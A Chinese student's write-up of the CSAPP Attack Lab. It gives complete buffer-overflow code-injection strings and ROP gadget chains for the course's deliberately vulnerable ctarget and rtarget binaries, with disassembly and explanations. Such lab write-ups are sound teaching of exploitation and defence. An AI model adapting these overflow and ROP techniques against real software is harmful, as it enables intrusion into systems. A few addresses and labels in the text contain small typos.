CSAPP實驗——AttackLab

Attack Lab 緩衝區溢出攻擊實驗

這是CSAPP課程的第三個Lab。

實驗準備

實驗介紹

簡介
本次實驗涉及對兩個具有不同安全漏洞的程序進行五次攻擊,攻擊方式分爲兩種 Code injection代碼注入和 Reeturn-oriented programming(ROP)面向返回編程。
目的
1、深入理解當程序沒有對緩衝區溢出做足夠防範時,攻擊者可以利用安全漏洞的方法。
2、更好地瞭解如何編寫更安全的程序,以及編譯器和操作系統提供一些幫助,以減少程序的易受攻擊性。
3、深入瞭解x86-64機器代碼的堆棧和參數傳遞機制。
4、深入瞭解x86-64指令的編碼方式。
5、熟練使用gdb和objdump等調試工具。



實驗說明

文件說明
ctarget:一個容易遭受code injection攻擊的可執行程序。
rtarget:一個容易遭受return-oriented programming攻擊的可執行程序。
cookie.txt:一個8位的十六進制碼,用於驗證身份的唯一標識符。
farm.c:目標“gadget farm”的源代碼,用於產生return-oriented programming攻擊。
hex2raw:一個生成攻擊字符串的工具。



整個Lab的大致流程就是,輸入一個字符串,然後利用stack的buffer overflow,去修改stack中的數據,進而改變程序的運行,達成我們的攻擊目的。具體地,是要通過反彙編上述文件通過文件中test()函數去調用getbuf()函數這個入口,來完成對stack某些部分的覆蓋,利用兩種攻擊程序的技術,讓程序調用我們希望調用的touch函數。

X68-64寄存器和堆棧
X86-64有16個64位寄存器
1、 %rax 作爲函數返回值使用。
2、 %rsp 棧指針寄存器,指向棧頂。
3、 %rdi%rsi%rdx%rcx%r8%r9 用作函數參數,依次對應第1參數,第2參數……
4、 %rbx%rbp%r12%r13%14%15 用作數據存儲,遵循被調用者使用規則。
5、 %r10%r11 用作數據存儲,遵循調用者使用規則。




輔助工具說明
hex2raw:要求輸入是一個十六進制格式的字符串,用兩個十六進制數字表示一個字節值,字節值之間以空白符(空格或新行)分隔,注意使用 小端法字節序。(將輸入的十六進制字符轉換爲相應ASCII碼)
./hex2raw <attack.txt> attackraw.txt

詳細實驗介紹和實驗步驟可以查看WriteUp,強烈推薦實驗前先看一下。

PART 1 : Code Injection Attacks

代碼注入攻擊:通過使緩衝區溢出,注入攻擊代碼。ctarget文件將執行test函數,實驗·任務是在執行完getbuf函數後,程序不繼續執行test函數,而是執行touch函數。

在前三個階段,因爲程序的設置方式使堆棧位置在每次運行時保持一致,因此堆棧上的數據可以作爲可執行代碼處理。這些特性使程序容易受到攻擊,攻擊字符串包含可執行代碼的字節編碼。
通過objdump -d ctarget > ctarget.txt反彙編得到相應的彙編程序,根據彙編程序來完成試驗任務。

void test() 
{
   
   
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

Level 1

使getbuf返回時,執行touch1而不是返回test

void touch1() 
{
   
   
    vlevel = 1;    /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");   
    validate(1);
    exit(0);
}

這一階段不需要注入新的代碼,只需要用攻擊字符串覆蓋getbuf的返回值,即使getbuf結尾處的ret指令將控制轉移到touch1

  • getbuf彙編代碼
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90 
  • 從第一句指令sub $0x28,%rsp可以得出getbuf創建的緩衝區大小爲0x28字節。
0000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>
  • touch1函數的起始地址爲0x4017c0getbuf在棧中分配了40個字節的內存來存儲輸入數據。在執行ret指令後,從%rsp+40處獲得返回地址,因此我們需要來利用緩衝區溢出覆蓋掉其返回地址,就可以將返回地址修改爲touch1的起始地址,即將輸入的第40-47個字符寫爲touch1函數的起始地址。
  • 攻擊字符串level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上字符是填充滿整個緩衝區(40字節)從而溢出
c0 17 40 00 00 00 00 00
//用函數touch1的起始地址覆蓋原先的返回地址
 這裏注意小端法保存
  • 調用hex2raw生成攻擊字符串,並攻擊ctarget在這裏插入圖片描述
    在這裏插入圖片描述

Level 2

void touch2(unsigned val)
{
   
   
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
   
   
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
	validate(2);
	 } 
	 else {
   
   
		printf("Misfire: You called touch2(0x%.8x)\n", val);
 		fail(2);
 	}
 	exit(0);
 }

使getbuf返回時,執行touch2而不是返回test,並且讓touch2以爲其接受的輸入參數是cookie,即0x59b997fa

  • 彙編代碼
00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

  • touch2函數的起始地址爲0x4017ec,根據x86-64寄存器規則和彙編代碼可知touch2函數的輸入參數存儲在寄存器%rdi。所以我們需要在進入touch2之前先跳轉到某個地方,執行注入代碼,將修改寄存器%rdi的值爲cookie,然後再跳轉。所以步驟爲:
    1、將cookie放入寄存器%rdi中,然後將touch2函數的起始地址壓入棧中,這樣通過ret指令返回時就可以跳轉到touch2
    2、然後將利用緩衝區溢出的漏洞將getbuf函數返回到上述代碼的起始位置,即從緩衝區的起始位置執行攻擊代碼。
    流程爲:getbuf -> ret = 緩衝區起始地址 -> 注入代碼 -> ret -> touch2起始地址


  • 注入代碼指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec    //ret指令後出棧跳轉到touch2
ret
  • 利用編譯和反彙編獲得注入代碼的機器代碼:
    gcc -c attack1.s
    objdump -d attack1.o > attack1.txt

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq                                        
  • 因此要注入的字符串爲48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3。我們需要知道這段代碼在程序中爲位置,內存中存儲這段代碼的位置是由getbuf開闢的緩衝區,而getbuf利用Gets開闢緩衝區,因此我們需要利用gdb查看緩衝區的起始位置。在這裏插入圖片描述
    緩衝區的起始地址爲0x5561dc78
  • 攻擊字符串level2.txt
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代碼填充滿整個緩衝區(40字節)從而溢出
78 dc 61 55 00 00 00 00
//用緩衝區的起始地址覆蓋原先的返回地址
  • 使用hex2raw生成攻擊字符串,並攻擊ctarget在這裏插入圖片描述
    在這裏插入圖片描述

Level 3

int hexmatch(unsigned val, char *sval)
{
   
   
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
   
   
    vlevel = 3;
    if (hexmatch(cookie, sval)){
   
   
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
   
   
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
  • 和Level 2 一樣touch3也需要傳入cookie但是要求以字符串的形式傳入。和Level 2的區別是touch3的參數是cookie的字符串地址, 寄存器%rdi存儲cookie字符串的地址。
  • 彙編代碼
00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>
  • touch3的起始地址爲0x4018fa。因爲在函數中調用了hexmatch函數,並且該函數申請了110字節的內存空間,如果cookie存儲在緩衝區內會被覆蓋掉,因此通過gdb查看調用hexmatch後棧頂地址爲0x5561dca0,將字符串存儲在棧之外即0x556dca8處。
  • cookie0x55997fa的ACSII碼爲35 39 62 39 39 37 66 61 00,末尾的00是字符串結束標識符\n。注入代碼爲:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi  #存入cookie值ASCII碼的地址
   7:	68 fa 18 40 00       	pushq  $0x4018fa    #跳轉touch3
   c:	c3                   	retq   
  • 攻擊字符串level3.txt
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代碼填充滿整個緩衝區(40字節)從而溢出
78 dc 61 55 00 00 00 00
//用緩衝區的起始地址覆蓋原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII碼
  • 使用hex2raw生成攻擊字符串,並攻擊ctarget在這裏插入圖片描述
    在這裏插入圖片描述

PART 2:Return-Oriented Programming(ROP)

面向返回編程:
爲了防止代碼注入攻擊,程序通常使用兩種技術來阻止此類攻擊:

  • 棧隨機化:每次程序運行棧的位置都是隨機的,因此無法確定注入代碼應放的位置;
  • 限制可執行代碼區域:將保存堆棧的內存區域標記爲不可執行,因此即使將程序計數器設置爲注入代碼的開頭,程序也會因爲分段錯誤而失敗。

因此通過執行現有代碼而不是注入新代碼來完成攻擊,常見形式爲ROP。

ROP的策略是識別現有程序的字節序列,程序會在棧上放入很多gadget地址(小的代碼片段,並且會ret),而每次ret都進入一個gadget,這樣可以形成一個程序鏈,通過將程序自身的指令來完成我們的目的。
根據實驗參考文件,所需的所有gadger都可以在函數start_farmmid_farm劃分的rtarget的代碼區域中找到。

  • 代碼
0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   
000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   
00000000004019a0 <addval_273>:
  4019a0:	8d 87 `48 89 c7 c3`    	lea    -0x3c3876b8(%rdi),%eax  # movq %rax,%rdi
  4019a6:	c3                   	retq   
00000000004019a7 <addval_219>:                           
  4019a7:	8d 87 51 73 `58 90`    	lea    -0x6fa78caf(%rdi),%eax  # popq %rax
  4019ad:	`c3`                  	retq    
00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   
00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   
00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   
00000000004019c3 <setval_426>:
  4019c3:	c7 07 `48 89 c7 90`    	movl   $0x90c78948,(%rdi)
  4019c9:	`c3`                   	retq   
00000000004019ca <getval_280>:
  4019ca:	b8 29 `58 90 c3`       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   
00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   
00000000004019db <getval_481>:
  4019db:	b8 5c `89 c2 90`      	mov    $0x90c2895c,%eax  #movl %eax,%edx
  4019e0:	`c3`                   	retq   
00000000004019e1 <setval_296>:
  4019e1:	c7 07 99 d1 90 90    	movl   $0x9090d199,(%rdi)
  4019e7:	c3                   	retq   
00000000004019e8 <addval_113>:
  4019e8:	8d 87 89 ce 78 c9    	lea    -0x36873177(%rdi),%eax
  4019ee:	c3                   	retq   
00000000004019ef <addval_490>:
  4019ef:	8d 87 8d d1 20 db    	lea    -0x24df2e73(%rdi),%eax
  4019f5:	c3                   	retq   
00000000004019f6 <getval_226>:
  4019f6:	b8 89 d1 48 c0       	mov    $0xc048d189,%eax
  4019fb:	c3                   	retq   
00000000004019fc <setval_384>:
  4019fc:	c7 07 81 d1 84 c0    	movl   $0xc084d181,(%rdi)
  401a02:	c3                   	retq   
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   
0000000000401a0a <setval_276>:
  401a0a:	c7 07 88 c2 08 c9    	movl   $0xc908c288,(%rdi)
  401a10:	c3                   	retq   
0000000000401a11 <addval_436>:
  401a11:	8d 87 `89 ce 90 90`    	lea    -0x6f6f3177(%rdi),%eax  #movl %ecx,%esi
  401a17:	`c3`                   	retq   
0000000000401a18 <getval_345>:
  401a18:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401a1d:	c3                   	retq   
0000000000401a1e <addval_479>:
  401a1e:	8d 87 89 c2 00 c9    	lea    -0x36ff3d77(%rdi),%eax
  401a24:	c3                   	retq   
0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   
0000000000401a2c <setval_248>:
  401a2c:	c7 07 81 ce 08 db    	movl   $0xdb08ce81,(%rdi)
  401a32:	c3                   	retq   
0000000000401a33 <getval_159>:
  401a33:	b8 `89 d1 38 c9`       	mov    $0xc938d189,%eax  #movl %edx,%ecx
  401a38:	`c3`                   	retq   
0000000000401a39 <addval_110>:
  401a39:	8d 87 c8 89 e0 c3    	lea    -0x3c1f7638(%rdi),%eax
  401a3f:	c3                   	retq   
0000000000401a40 <addval_487>:
  401a40:	8d 87 89 c2 84 c0    	lea    -0x3f7b3d77(%rdi),%eax
  401a46:	c3                   	retq   
0000000000401a47 <addval_201>:
  401a47:	8d 87 48 89 e0 c7    	lea    -0x381f76b8(%rdi),%eax
  401a4d:	c3                   	retq   
0000000000401a4e <getval_272>:
  401a4e:	b8 99 d1 08 d2       	mov    $0xd208d199,%eax
  401a53:	c3                   	retq   
0000000000401a54 <getval_155>:
  401a54:	b8 89 c2 c4 c9       	mov    $0xc9c4c289,%eax
  401a59:	c3                   	retq   
0000000000401a5a <setval_299>:
  401a5a:	c7 07 48 89 e0 91    	movl   $0x91e08948,(%rdi)
  401a60:	c3                   	retq   
0000000000401a61 <addval_404>:
  401a61:	8d 87 89 ce 92 c3    	lea    -0x3c6d3177(%rdi),%eax
  401a67:	c3                   	retq   
0000000000401a68 <getval_311>:
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	retq   
0000000000401a6e <setval_167>:
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	retq   
0000000000401a75 <setval_328>:
  401a75:	c7 07 81 c2 38 d2    	movl   $0xd238c281,(%rdi)
  401a7b:	c3                   	retq   
0000000000401a7c <setval_450>:
  401a7c:	c7 07 09 ce 08 c9    	movl   $0xc908ce09,(%rdi)
  401a82:	c3                   	retq   
0000000000401a83 <addval_358>:
  401a83:	8d 87 08 `89 e0 90`    	lea    -0x6f1f76f8(%rdi),%eax
  401a89:	`c3`                   	retq   
0000000000401a8a <addval_124>:
  401a8a:	8d 87 89 c2 c7 3c    	lea    0x3cc7c289(%rdi),%eax
  401a90:	c3                   	retq   
0000000000401a91 <getval_169>:
  401a91:	b8 88 ce 20 c0       	mov    $0xc020ce88,%eax
  401a96:	c3                   	retq   
0000000000401a97 <setval_181>:
  401a97:	c7 07 48 89 e0 c2    	movl   $0xc2e08948,(%rdi)
  401a9d:	c3                   	retq   
0000000000401a9e <addval_184>:
  401a9e:	8d 87 89 c2 60 d2    	lea    -0x2d9f3d77(%rdi),%eax
  401aa4:	c3                   	retq   
0000000000401aa5 <getval_472>:
  401aa5:	b8 8d ce 20 d2       	mov    $0xd220ce8d,%eax
  401aaa:	c3                   	retq   
0000000000401aab <setval_350>:
  401aab:	c7 07 `48 89 e0 90`    	movl   $0x90e08948,(%rdi) #movq %rsp,%rax
  401ab1:	`c3`                   	retq   
0000000000401ab2 <end_farm>:
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax
  401ab7:	c3                   	retq   

gadget farm中的滿足條件的gadget

gadget 起始地址 指令編號 指令
<addval_273> 0x4019a2 48 89 c7 c3 movq %rax,%rdi
<addval_219> 0x4019ca 58 (90) c3 popq %rax
<setval_350> 0x401aad 48 89 e0 (90) c3 movq %rsp,%rax
<getval_481> 0x4019dd 89 c2 (90) c3 movl %eax,%edx
<getval_159> 0x401a34 89 d1 (38) (c9) c3 movl %edx,%ecx
<addval_436> 0x401a13 89 ce (90) (90) c3 movl %ecx,%esi
<add_xy> 0x4019d6 48 8d 04 37 c3 lea (%rdi,%rsi,1),%rax
 括號內的指令編碼爲nop或2字節指令,並不影響。

Level 4

要求
1、只能使用前八個x86-64寄存器 %rax-%rdi
2、只能使用 movqpopqretnopgadget
3、只能使用兩個 gadget完成攻擊;

和Level 2一樣將cookie存儲進寄存器%rdi內。所以需要在rterget中找到相應gadget,可以湊出相應的能夠實現攻擊的指令。先將寄存器%rax的值設置爲cookie,然後複製給%rdi。,可以拼湊出代碼爲:

popq	%rax   
ret            # 0x4019ab
mov		%rax,%rdi
ret            # 0x4019a2
  • 攻擊字符串 level4.txt
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上代碼填滿整個緩衝區以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat   ret)的起始地址覆蓋原先的返回地址
fa 97 b9 59 00 00 00 00   //cookie
a2 19 40 00 00 00 00 00 
//gadget2(mov %rax,%rdi   ret)的起始地址
ec 17 40 00 00 00 00 00   //touch2的起始地址

在這裏插入圖片描述
在這裏插入圖片描述

Level 5

要求
1、只能使用前八個x86-64寄存器 %rax-%rdi
2、可以使用 movqmovlpopqretnopgadget
3、可以使用在 rtarget代碼中在 start_farmend_farm區域內的任意 gadget完成攻擊;
4、至少需要8個 gadget實現此次攻擊。


  • level3一樣,需要將寄存器%rdi的值設置爲cookie字符串的指針,即存儲cookie字符串的地址。
  • 找到滿足要求的gadget拼湊出攻擊指令
movq   %rsp,%rax    //傳遞棧頂位置棧頂位置
//因爲不能將cookie字符串存儲在棧頂位置,需要另找位置,將cookie字符串存儲在rsp+x處
add    $x  ,%rax    
movq   %rax,%rdi    //將cookie字符串地址傳遞給%rdi
  • 因此我們需要找到一個能夠實現加法或減法的運算的gadget,但是參考文件中並沒有相關的字節編碼,需要尋找其他方法:
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  
  • 通過觀察可以通過上述代碼來實現一個加法運算,lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi傳遞的是地址,所以只要能夠讓%rdi%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示cookie字符串存放的地址。所以分成兩部分代碼:
    1.把%rsp存放到%rdi中
    2.把偏移值(需要確定指令數後才能確定)存放到%rsi中

  • 在上述代碼中並沒有movq %rax,%rsi的gadget,只能通過過%eax->%edx->%ecx->%esi來實現。即將%eax的值設置爲cookie字符串地址在棧中的偏移量並複製給%esi
    需要注意的是,上面兩部分完成任務的寄存器不能互換,因爲從%eax%esi的值傳遞mov指令都是4byte的操作,如果對%rsp的值採用這種方式,%rsp的值會被截斷掉,最後的結果就錯了。但是偏移值不會,因爲4個bytes足夠表示了。
  • 最後的指令爲:
mov   %rsp,%rax
ret
mov   %rax,%rdi   #先將棧頂%rsp存入%rdi內
ret
popq  %rax         #將偏移量賦值給%eax
ret                 
movl  %eax,%edx    
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi   #%esi = 偏移量
ret
lea   (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov   %rax,%rdi    #%rdi = cookie字符地址
ret
  • 根據題目rsp是41-48字節處,所以在cookie字符串之前還有九條指令,共佔有72個字節即0x48字節,所以cookie字符串的地址在棧中的偏移量爲0x48
  • 攻擊字符串level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代碼填滿整個緩衝區以致溢出
ad 1a 40 00 00 00 00 00  //movq %rsp,%rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
ab 19 40 00 00 00 00 00  //popq %rax
48 00 00 00 00 00 00 00  //偏移值
dd 19 40 00 00 00 00 00  //movl %eax,%edx
34 1a 40 00 00 00 00 00  //movl %edx,%ecx
13 1a 40 00 00 00 00 00  //movl %ecx,%esi
d6 19 40 00 00 00 00 00  //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
fa 18 40 00 00 00 00 00  //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串

在這裏插入圖片描述
在這裏插入圖片描述

實驗總結

這一部分實驗大概用了兩個晚上的時間,這個實驗的說明文檔講的很清晰,相對上一個實驗還是容易些,通過這個實驗對於堆棧還有參數傳遞有了更深的認識,對於機器代碼如何控制程序運行也更加了解,以後有機會也會多瞭解一下這方面的知識。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章